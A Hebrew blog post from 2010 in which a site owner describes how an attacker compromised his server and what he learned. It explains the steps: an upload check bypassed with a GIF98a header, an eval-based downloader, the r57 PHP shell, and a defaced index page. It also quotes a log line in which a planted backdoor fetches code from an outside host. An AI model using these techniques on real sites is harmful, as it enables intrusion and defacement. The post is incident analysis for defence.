איך הסקריפט קידדיז בכל זאת ניצחו
by יורי on 18/06/2010או שאולי יותר נכון, איך חוסר תשומת לב קטן עלול להפיל בפח.
ביום רביעי, ה16 לחודש, בשעה 22:22 הגיעה מגוגל ישראל 87.109.217.210 חבר סעודי שכניראה חיפש אתרים ישראלים (למעשה הוא חיפש אתרים שבכתבות שלהם מופיע test ו upload) והתחיל לעבור כל העמודים שגוגל ישראל אינדקס מהאתר, ביניהם גם הדוגמאות קוד ב freebsd.co.il/test אחת הדוגמאות, שנכתבה לצורך דוגמא בלבד (וזאת הטעות), היא דוגמא להעלאת קובץ, בה השתמש הסעודי.
איך הוא עשה את זה:
- העלה קובץ שבראשו מופיע GIF98a וכך עקף את הבדיקה היחידה שיש בקובץ ההעלאה ל mime-type של תמונה
- בעזרת הקובץ שהעלה הוא העלה קובץ נוסף, שמקבל URL כפרמטר, מוריד את הקובץ ומריץ אותו עם eval
- בעזרת הקובץ החדש, הריץ את הסקריפט PHP r57 כדאי שיהיה לו יותר קל והחליף את הindex.php בבלוג לזה שלו.
לקחים:
- לא להשאיר סקריפטים זרוקים שלא נועדו ל-production.
- לייצור sandbox לכל הניסויים, יוזר נפרד, דומיין נפרד.
- לחסום כל תקשורת יוצאת מה sandbox.
- לכתוב מערכת ששולחת SMS ברגע שהעמוד הראשי משתנה מהעותק הקיים.
עדכון:
אחריי כמה חיפושים לפי תאריך שינוי, הסתבר שהסעודי (אם הוא בכלל סעודי) לא פראייר בכלל ושתל בכל מני סקריפטי php את הקוד שלו בשביל להוריד ולהריץ קבצים, שישר אחרי פרסום הפוסט הזה, שינה את הindex שוב עם איום שאם לא אסיר אותו הוא יפרוץ אליי כל הזמן או משהו כזה.
בנוסף לזה חסמתי את הטווח הסעודי, מה שלא הפריעו לו לחזור מטווח של he.net האמריקאים ולנסות להריץ את הקוד שלו ממקום אחר:
65.49.14.55 joomla.freebsd.co.il - [18/Jun/2010:18:29:42 +0300] "GET /includes/.svn/tmp/props/.i.php?t0v=http://74.86.202.236/~globalho/.a/o.oxo HTTP/1.0" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"
זאת אומרת, http://74.86.202.236/~globalho עוד אתר שהחבר הסעודי שלנו הגיע אליו ומשמש לאחסון קבצים לפריצות הבאות.
3 תגובות לפוסט: